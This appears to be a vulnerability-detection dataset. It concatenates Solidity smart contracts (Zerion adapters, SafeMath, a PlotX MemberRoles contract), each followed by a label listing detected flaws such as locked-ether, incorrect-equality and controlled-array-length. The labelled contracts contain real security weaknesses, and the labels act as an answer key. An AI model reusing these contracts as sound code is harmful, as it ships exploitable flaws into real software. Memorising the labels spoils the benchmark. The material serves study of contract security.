// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
//
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2;
interface ERC20 {
function approve(address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
function transferFrom(
address,
address,
uint256
) external returns (bool);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address) external view returns (uint256);
function allowance(address, address) external view returns (uint256);
}
// Copyright (C) 2020 Zerion Inc. <https://zerion.io>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
//
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity 0.7.6;
/**
* @dev UniswapV2Pair contract interface.
* The UniswapV2Pair contract is available here
* github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2Pair.sol.
*/
interface UniswapV2Pair {
function mint(address) external returns (uint256);
function burn(address) external returns (uint256, uint256);
function swap(
uint256,
uint256,
address,
bytes calldata
) external;
function getReserves()
external
view
returns (
uint112,
uint112,
uint32
);
function token0() external view returns (address);
function token1() external view returns (address);
}
// Copyright (C) 2020 Zerion Inc. <https://zerion.io>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
//
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity 0.7.6;
import "../interfaces/ERC20.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token contract
* returns false). Tokens that return no value (and instead revert or throw on failure)
* are also supported, non-reverting calls are assumed to be successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(
ERC20 token,
address to,
uint256 value,
string memory location
) internal {
callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value),
"transfer",
location
);
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value,
string memory location
) internal {
callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value),
"transferFrom",
location
);
}
function safeApprove(
ERC20 token,
address spender,
uint256 value,
string memory location
) internal {
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
string(abi.encodePacked("SafeERC20: bad approve call from ", location))
);
callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value),
"approve",
location
);
}
function safeApproveMax(
ERC20 token,
address spender,
uint256 value,
string memory location
) internal {
uint256 allowance = ERC20(token).allowance(address(this), spender);
if (allowance < value) {
if (allowance > 0) {
safeApprove(token, spender, 0, location);
}
safeApprove(token, spender, type(uint256).max, location);
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract),
* relaxing the requirement on the return value: the return value is optional
* (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
* @param location Location of the call (for debug).
*/
function callOptionalReturn(
ERC20 token,
bytes memory data,
string memory functionName,
string memory location
) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking
// mechanism, since we're implementing it ourselves.
// We implement two-steps call as callee is a contract is a responsibility of a caller.
// 1. The call itself is made, and success asserted
// 2. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(
success,
string(abi.encodePacked("SafeERC20: ", functionName, " failed in ", location))
);
if (returndata.length > 0) {
// Return data is optional
require(
abi.decode(returndata, (bool)),
string(
abi.encodePacked("SafeERC20: ", functionName, " returned false in ", location)
)
);
}
}
}
// Copyright (C) 2020 Zerion Inc. <https://zerion.io>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
//
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2;
// The struct consists of TokenBalanceMeta structs for
// (base) token and its underlying tokens (if any).
struct FullTokenBalance {
TokenBalanceMeta base;
TokenBalanceMeta[] underlying;
}
// The struct consists of TokenBalance struct
// with token address and absolute amount
// and ERC20Metadata struct with ERC20-style metadata.
// NOTE: 0xEeee...EEeE address is used for ETH.
struct TokenBalanceMeta {
TokenBalance tokenBalance;
ERC20Metadata erc20metadata;
}
// The struct consists of ERC20-style token metadata.
struct ERC20Metadata {
string name;
string symbol;
uint8 decimals;
}
// The struct consists of protocol adapter's name
// and array of TokenBalance structs
// with token addresses and absolute amounts.
struct AdapterBalance {
bytes32 protocolAdapterName;
TokenBalance[] tokenBalances;
}
// The struct consists of token address
// and its absolute amount (may be negative).
// 0xEeee...EEeE is used for Ether
struct TokenBalance {
address token;
int256 amount;
}
// The struct consists of token address,
// and price per full share (1e18).
// 0xEeee...EEeE is used for Ether
struct Component {
address token;
int256 rate;
}
//=============================== Interactive Adapters Structs ====================================
// The struct consists of name of the protocol adapter,
// action type, array of token amounts,
// and some additional data (depends on the protocol).
struct Action {
bytes32 protocolAdapterName;
ActionType actionType;
TokenAmount[] tokenAmounts;
bytes data;
}
// The struct consists of token address,
// its amount, and amount type, as well as
// permit type and calldata.
struct Input {
TokenAmount tokenAmount;
Permit permit;
}
// The struct consists of
// permit type and calldata.
struct Permit {
PermitType permitType;
bytes permitCallData;
}
// The struct consists of token address,
// its amount, and amount type.
// 0xEeee...EEeE is used for Ether
struct TokenAmount {
address token;
uint256 amount;
AmountType amountType;
}
// The struct consists of fee share
// and beneficiary address.
struct Fee {
uint256 share;
address beneficiary;
}
// The struct consists of token address
// and its absolute amount.
// 0xEeee...EEeE is used for Ether
struct AbsoluteTokenAmount {
address token;
uint256 absoluteAmount;
}
enum ActionType { None, Deposit, Withdraw }
enum AmountType { None, Relative, Absolute }
enum PermitType { None, EIP2612, DAI, Yearn }
| These are the vulnerabilities found
1) incorrect-equality with Medium impact
2) locked-ether with Medium impact |
// File: contracts/external/openzeppelin-solidity/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
library SafeMath64 {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint64 a, uint64 b) internal pure returns (uint64) {
uint64 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint64 a, uint64 b) internal pure returns (uint64) {
require(b <= a, "SafeMath: subtraction overflow");
uint64 c = a - b;
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint64 a, uint64 b, string memory errorMessage) internal pure returns (uint64) {
require(b <= a, errorMessage);
uint64 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint64 a, uint64 b) internal pure returns (uint64) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint64 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint64 a, uint64 b) internal pure returns (uint64) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint64 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint64 a, uint64 b) internal pure returns (uint64) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// File: contracts/external/govblocks-protocol/interfaces/IMemberRoles.sol
/* Copyright (C) 2017 GovBlocks.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity 0.5.7;
contract IMemberRoles {
event MemberRole(uint256 indexed roleId, bytes32 roleName, string roleDescription);
enum Role {UnAssigned, AdvisoryBoard, TokenHolder, DisputeResolution}
function setInititorAddress(address _initiator) external;
/// @dev Adds new member role
/// @param _roleName New role name
/// @param _roleDescription New description hash
/// @param _authorized Authorized member against every role id
function addRole(bytes32 _roleName, string memory _roleDescription, address _authorized) public;
/// @dev Assign or Delete a member from specific role.
/// @param _memberAddress Address of Member
/// @param _roleId RoleId to update
/// @param _active active is set to be True if we want to assign this role to member, False otherwise!
function updateRole(address _memberAddress, uint _roleId, bool _active) public;
/// @dev Change Member Address who holds the authority to Add/Delete any member from specific role.
/// @param _roleId roleId to update its Authorized Address
/// @param _authorized New authorized address against role id
function changeAuthorized(uint _roleId, address _authorized) public;
/// @dev Return number of member roles
function totalRoles() public view returns(uint256);
/// @dev Gets the member addresses assigned by a specific role
/// @param _memberRoleId Member role id
/// @return roleId Role id
/// @return allMemberAddress Member addresses of specified role id
function members(uint _memberRoleId) public view returns(uint, address[] memory allMemberAddress);
/// @dev Gets all members' length
/// @param _memberRoleId Member role id
/// @return memberRoleData[_memberRoleId].memberAddress.length Member length
function numberOfMembers(uint _memberRoleId) public view returns(uint);
/// @dev Return member address who holds the right to add/remove any member from specific role.
function authorized(uint _memberRoleId) public view returns(address);
/// @dev Get All role ids array that has been assigned to a member so far.
function roles(address _memberAddress) public view returns(uint[] memory assignedRoles);
/// @dev Returns true if the given role id is assigned to a member.
/// @param _memberAddress Address of member
/// @param _roleId Checks member's authenticity with the roleId.
/// i.e. Returns true if this roleId is assigned to member
function checkRole(address _memberAddress, uint _roleId) public view returns(bool);
}
// File: contracts/external/govblocks-protocol/Governed.sol
/* Copyright (C) 2017 GovBlocks.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity 0.5.7;
contract IMaster {
mapping(address => bool) public whitelistedSponsor;
function dAppToken() public view returns(address);
function isInternal(address _address) public view returns(bool);
function getLatestAddress(bytes2 _module) public view returns(address);
function isAuthorizedToGovern(address _toCheck) public view returns(bool);
}
contract Governed {
address public masterAddress; // Name of the dApp, needs to be set by contracts inheriting this contract
/// @dev modifier that allows only the authorized addresses to execute the function
modifier onlyAuthorizedToGovern() {
IMaster ms = IMaster(masterAddress);
require(ms.getLatestAddress("GV") == msg.sender, "Not authorized");
_;
}
/// @dev checks if an address is authorized to govern
function isAuthorizedToGovern(address _toCheck) public view returns(bool) {
IMaster ms = IMaster(masterAddress);
return (ms.getLatestAddress("GV") == _toCheck);
}
}
// File: contracts/external/proxy/Proxy.sol
pragma solidity 0.5.7;
/**
* @title Proxy
* @dev Gives the possibility to delegate any call to a foreign implementation.
*/
contract Proxy {
/**
* @dev Fallback function allowing to perform a delegatecall to the given implementation.
* This function will return whatever the implementation call returns
*/
function () external payable {
address _impl = implementation();
require(_impl != address(0));
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize)
let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)
let size := returndatasize
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
/**
* @dev Tells the address of the implementation where every call will be delegated.
* @return address of the implementation to which it will be delegated
*/
function implementation() public view returns (address);
}
// File: contracts/external/proxy/UpgradeabilityProxy.sol
pragma solidity 0.5.7;
/**
* @title UpgradeabilityProxy
* @dev This contract represents a proxy where the implementation address to which it will delegate can be upgraded
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev This event will be emitted every time the implementation gets upgraded
* @param implementation representing the address of the upgraded implementation
*/
event Upgraded(address indexed implementation);
// Storage position of the address of the current implementation
bytes32 private constant IMPLEMENTATION_POSITION = keccak256("org.govblocks.proxy.implementation");
/**
* @dev Constructor function
*/
constructor() public {}
/**
* @dev Tells the address of the current implementation
* @return address of the current implementation
*/
function implementation() public view returns (address impl) {
bytes32 position = IMPLEMENTATION_POSITION;
assembly {
impl := sload(position)
}
}
/**
* @dev Sets the address of the current implementation
* @param _newImplementation address representing the new implementation to be set
*/
function _setImplementation(address _newImplementation) internal {
bytes32 position = IMPLEMENTATION_POSITION;
assembly {
sstore(position, _newImplementation)
}
}
/**
* @dev Upgrades the implementation address
* @param _newImplementation representing the address of the new implementation to be set
*/
function _upgradeTo(address _newImplementation) internal {
address currentImplementation = implementation();
require(currentImplementation != _newImplementation);
_setImplementation(_newImplementation);
emit Upgraded(_newImplementation);
}
}
// File: contracts/external/proxy/OwnedUpgradeabilityProxy.sol
pragma solidity 0.5.7;
/**
* @title OwnedUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with basic authorization control functionalities
*/
contract OwnedUpgradeabilityProxy is UpgradeabilityProxy {
/**
* @dev Event to show ownership has been transferred
* @param previousOwner representing the address of the previous owner
* @param newOwner representing the address of the new owner
*/
event ProxyOwnershipTransferred(address previousOwner, address newOwner);
// Storage position of the owner of the contract
bytes32 private constant PROXY_OWNER_POSITION = keccak256("org.govblocks.proxy.owner");
/**
* @dev the constructor sets the original owner of the contract to the sender account.
*/
constructor(address _implementation) public {
_setUpgradeabilityOwner(msg.sender);
_upgradeTo(_implementation);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyProxyOwner() {
require(msg.sender == proxyOwner());
_;
}
/**
* @dev Tells the address of the owner
* @return the address of the owner
*/
function proxyOwner() public view returns (address owner) {
bytes32 position = PROXY_OWNER_POSITION;
assembly {
owner := sload(position)
}
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferProxyOwnership(address _newOwner) public onlyProxyOwner {
require(_newOwner != address(0));
_setUpgradeabilityOwner(_newOwner);
emit ProxyOwnershipTransferred(proxyOwner(), _newOwner);
}
/**
* @dev Allows the proxy owner to upgrade the current version of the proxy.
* @param _implementation representing the address of the new implementation to be set.
*/
function upgradeTo(address _implementation) public onlyProxyOwner {
_upgradeTo(_implementation);
}
/**
* @dev Sets the address of the owner
*/
function _setUpgradeabilityOwner(address _newProxyOwner) internal {
bytes32 position = PROXY_OWNER_POSITION;
assembly {
sstore(position, _newProxyOwner)
}
}
}
// File: contracts/interfaces/Iupgradable.sol
pragma solidity 0.5.7;
contract Iupgradable {
/**
* @dev change master address
*/
function setMasterAddress() public;
}
// File: contracts/interfaces/ITokenController.sol
pragma solidity 0.5.7;
contract ITokenController {
address public token;
address public bLOTToken;
/**
* @dev Swap BLOT token.
* account.
* @param amount The amount that will be swapped.
*/
function swapBLOT(address _of, address _to, uint256 amount) public;
function totalBalanceOf(address _of)
public
view
returns (uint256 amount);
function transferFrom(address _token, address _of, address _to, uint256 amount) public;
/**
* @dev Returns tokens locked for a specified address for a
* specified reason at a specific time
* @param _of The address whose tokens are locked
* @param _reason The reason to query the lock tokens for
* @param _time The timestamp to query the lock tokens for
*/
function tokensLockedAtTime(address _of, bytes32 _reason, uint256 _time)
public
view
returns (uint256 amount);
/**
* @dev burns an amount of the tokens of the message sender
* account.
* @param amount The amount that will be burnt.
*/
function burnCommissionTokens(uint256 amount) external returns(bool);
function initiateVesting(address _vesting) external;
function lockForGovernanceVote(address _of, uint _days) public;
function totalSupply() public view returns (uint256);
function mint(address _member, uint _amount) public;
}
// File: contracts/MemberRoles.sol
/* Copyright (C) 2020 PlotX.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity 0.5.7;
contract MemberRoles is IMemberRoles, Governed, Iupgradable {
using SafeMath for uint256;
ITokenController internal tokenController;
struct MemberRoleDetails {
uint256 memberCounter;
mapping(address => uint256) memberIndex;
address[] memberAddress;
address authorized;
}
MemberRoleDetails[] internal memberRoleData;
bool internal constructorCheck;
address internal initiator;
uint256 internal minLockAmountForDR;
uint256 internal lockTimeForDR;
modifier checkRoleAuthority(uint256 _memberRoleId) {
if (memberRoleData[_memberRoleId].authorized != address(0))
require(
msg.sender == memberRoleData[_memberRoleId].authorized,
"Not authorized"
);
else require(isAuthorizedToGovern(msg.sender), "Not Authorized");
_;
}
/**
* @dev to swap advisory board member
* @param _newABAddress is address of new AB member
* @param _removeAB is advisory board member to be removed
*/
function swapABMember(address _newABAddress, address _removeAB)
external
checkRoleAuthority(uint256(Role.AdvisoryBoard))
{
_updateRole(_newABAddress, uint256(Role.AdvisoryBoard), true);
_updateRole(_removeAB, uint256(Role.AdvisoryBoard), false);
}
/**
* @dev to change the master address
*/
function setMasterAddress() public {
OwnedUpgradeabilityProxy proxy = OwnedUpgradeabilityProxy(
address(uint160(address(this)))
);
require(msg.sender == proxy.proxyOwner(), "Sender is not proxy owner.");
require(masterAddress == address(0), "Master address already set");
masterAddress = msg.sender;
IMaster masterInstance = IMaster(masterAddress);
tokenController = ITokenController(
masterInstance.getLatestAddress("TC")
);
minLockAmountForDR = 500 ether;
lockTimeForDR = 15 days;
}
/**
* @dev Set the authorized address to add the initial roles and members
* @param _initiator is address of the initiator
*/
function setInititorAddress(address _initiator) external {
OwnedUpgradeabilityProxy proxy = OwnedUpgradeabilityProxy(
address(uint160(address(this)))
);
require(msg.sender == proxy.proxyOwner(), "Sender is not proxy owner.");
require(initiator == address(0), "Already Set");
initiator = _initiator;
}
/**
* @dev to initiate the member roles and add initial AB, DR board members
* @param _abArray is array of addresses of the Initial AB members
*/
function memberRolesInitiate(
address[] calldata _abArray
) external {
require(msg.sender == initiator);
require(!constructorCheck, "Already constructed");
_addInitialMemberRoles();
for (uint256 i = 0; i < _abArray.length; i++) {
_updateRole(_abArray[i], uint256(Role.AdvisoryBoard), true);
}
constructorCheck = true;
}
/// @dev Adds new member role
/// @param _roleName New role name
/// @param _roleDescription New description hash
/// @param _authorized Authorized member against every role id
function addRole(
//solhint-disable-line
bytes32 _roleName,
string memory _roleDescription,
address _authorized
) public onlyAuthorizedToGovern {
_addRole(_roleName, _roleDescription, _authorized);
}
/// @dev Assign or Delete a member from specific role.
/// @param _memberAddress Address of Member
/// @param _roleId RoleId to update
/// @param _active active is set to be True if we want to assign this role to member, False otherwise!
function updateRole(
//solhint-disable-line
address _memberAddress,
uint256 _roleId,
bool _active
) public checkRoleAuthority(_roleId) {
_updateRole(_memberAddress, _roleId, _active);
}
/// @dev Return number of member roles
function totalRoles() public view returns (uint256) {
//solhint-disable-line
return memberRoleData.length;
}
/// @dev Change Member Address who holds the authority to Add/Delete any member from specific role.
/// @param _roleId roleId to update its Authorized Address
/// @param _newAuthorized New authorized address against role id
function changeAuthorized(uint256 _roleId, address _newAuthorized)
public
checkRoleAuthority(_roleId)
{
//solhint-disable-line
memberRoleData[_roleId].authorized = _newAuthorized;
}
/// @dev Gets the member addresses assigned by a specific role
/// @param _memberRoleId Member role id
/// @return roleId Role id
/// @return allMemberAddress Member addresses of specified role id
function members(uint256 _memberRoleId)
public
view
returns (uint256, address[] memory memberArray)
{
return (_memberRoleId, memberRoleData[_memberRoleId].memberAddress);
}
/// @dev Gets all members' length
/// @param _memberRoleId Member role id
/// @return memberRoleData[_memberRoleId].memberCounter Member length
function numberOfMembers(uint256 _memberRoleId)
public
view
returns (uint256)
{
//solhint-disable-line
return memberRoleData[_memberRoleId].memberCounter;
}
/// @dev Return member address who holds the right to add/remove any member from specific role.
function authorized(uint256 _memberRoleId) public view returns (address) {
//solhint-disable-line
return memberRoleData[_memberRoleId].authorized;
}
/// @dev Get All role ids array that has been assigned to a member so far.
function roles(address _memberAddress)
public
view
returns (uint256[] memory)
{
//solhint-disable-line
uint256 length = memberRoleData.length;
uint256[] memory assignedRoles = new uint256[](length);
uint256 counter = 0;
for (uint256 i = 1; i < length; i++) {
if (memberRoleData[i].memberIndex[_memberAddress] > 0) {
assignedRoles[counter] = i;
counter++;
}
}
if (tokenController.totalBalanceOf(_memberAddress) > 0) {
assignedRoles[counter] = uint256(Role.TokenHolder);
counter++;
}
if (tokenController.tokensLockedAtTime(_memberAddress, "DR", (lockTimeForDR).add(now)) >= minLockAmountForDR) {
assignedRoles[counter] = uint256(Role.DisputeResolution);
}
return assignedRoles;
}
/**
* @dev Updates Uint Parameters of a code
* @param code whose details we want to update
* @param val value to set
*/
function updateUintParameters(bytes8 code, uint val) public onlyAuthorizedToGovern {
if(code == "MNLOCKDR") { //Minimum lock amount to consider user as DR member
minLockAmountForDR = val;
} else if (code == "TLOCDR") { // Lock period required for DR
lockTimeForDR = val * (1 days);
}
}
function getUintParameters(bytes8 code) external view returns(bytes8 codeVal, uint val) {
codeVal = code;
if(code == "MNLOCKDR") {
val = minLockAmountForDR;
} else if (code == "TLOCDR") { // Lock period required for DR
val = lockTimeForDR / (1 days);
}
}
/// @dev Returns true if the given role id is assigned to a member.
/// @param _memberAddress Address of member
/// @param _roleId Checks member's authenticity with the roleId.
/// i.e. Returns true if this roleId is assigned to member
function checkRole(address _memberAddress, uint256 _roleId)
public
view
returns (bool)
{
//solhint-disable-line
if (_roleId == uint256(Role.UnAssigned)) {
return true;
} else if (_roleId == uint256(Role.TokenHolder)) {
if (tokenController.totalBalanceOf(_memberAddress) > 0) {
return true;
}
} else if (_roleId == uint256(Role.DisputeResolution)) {
if (tokenController.tokensLockedAtTime(_memberAddress, "DR", (lockTimeForDR).add(now)) >= minLockAmountForDR) {
return true;
}
} else if (memberRoleData[_roleId].memberIndex[_memberAddress] > 0) {
//solhint-disable-line
return true;
}
return false;
}
/// @dev Return total number of members assigned against each role id.
/// @return totalMembers Total members in particular role id
function getMemberLengthForAllRoles()
public
view
returns (uint256[] memory totalMembers)
{
//solhint-disable-line
totalMembers = new uint256[](memberRoleData.length);
for (uint256 i = 0; i < memberRoleData.length; i++) {
totalMembers[i] = numberOfMembers(i);
}
}
/**
* @dev to update the member roles
* @param _memberAddress in concern
* @param _roleId the id of role
* @param _active if active is true, add the member, else remove it
*/
function _updateRole(
address _memberAddress,
uint256 _roleId,
bool _active
) internal {
require(
_roleId != uint256(Role.TokenHolder) && _roleId != uint256(Role.DisputeResolution),
"Membership to this role is detected automatically"
);
if (_active) {
require(
memberRoleData[_roleId].memberIndex[_memberAddress] == 0,
"already active"
);
memberRoleData[_roleId].memberCounter = SafeMath.add(
memberRoleData[_roleId].memberCounter,
1
);
memberRoleData[_roleId]
.memberIndex[_memberAddress] = memberRoleData[_roleId]
.memberAddress
.length;
memberRoleData[_roleId].memberAddress.push(_memberAddress);
} else {
//Remove the selected member and swap its index with the member at last index
require(
memberRoleData[_roleId].memberIndex[_memberAddress] > 0,
"not active"
);
uint256 _memberIndex = memberRoleData[_roleId]
.memberIndex[_memberAddress];
address _topElement = memberRoleData[_roleId]
.memberAddress[memberRoleData[_roleId].memberCounter];
memberRoleData[_roleId].memberIndex[_topElement] = _memberIndex;
memberRoleData[_roleId].memberCounter = SafeMath.sub(
memberRoleData[_roleId].memberCounter,
1
);
memberRoleData[_roleId].memberAddress[_memberIndex] = _topElement;
memberRoleData[_roleId].memberAddress.length--;
delete memberRoleData[_roleId].memberIndex[_memberAddress];
}
}
/// @dev Adds new member role
/// @param _roleName New role name
/// @param _roleDescription New description hash
/// @param _authorized Authorized member against every role id
function _addRole(
bytes32 _roleName,
string memory _roleDescription,
address _authorized
) internal {
emit MemberRole(memberRoleData.length, _roleName, _roleDescription);
memberRoleData.push(
MemberRoleDetails(0, new address[](1), _authorized)
);
}
/**
* @dev to add initial member roles
*/
function _addInitialMemberRoles() internal {
_addRole("Unassigned", "Unassigned", address(0));
_addRole(
"Advisory Board",
"Selected few members that are deeply entrusted by the dApp. An ideal advisory board should be a mix of skills of domain, governance, research, technology, consulting etc to improve the performance of the dApp.", //solhint-disable-line
address(0)
);
_addRole(
"Token Holder",
"Represents all users who hold dApp tokens. This is the most general category and anyone holding token balance is a part of this category by default.", //solhint-disable-line
address(0)
);
_addRole(
"DisputeResolution",
"Represents members who are assigned to vote on resolving disputes", //solhint-disable-line
address(0)
);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact
2) controlled-array-length with High impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Bionic' token contract
//
// Deployed to : 0xdD2A5B646bb936CbC279CBE462E31eab2C309452
// Symbol : BNC
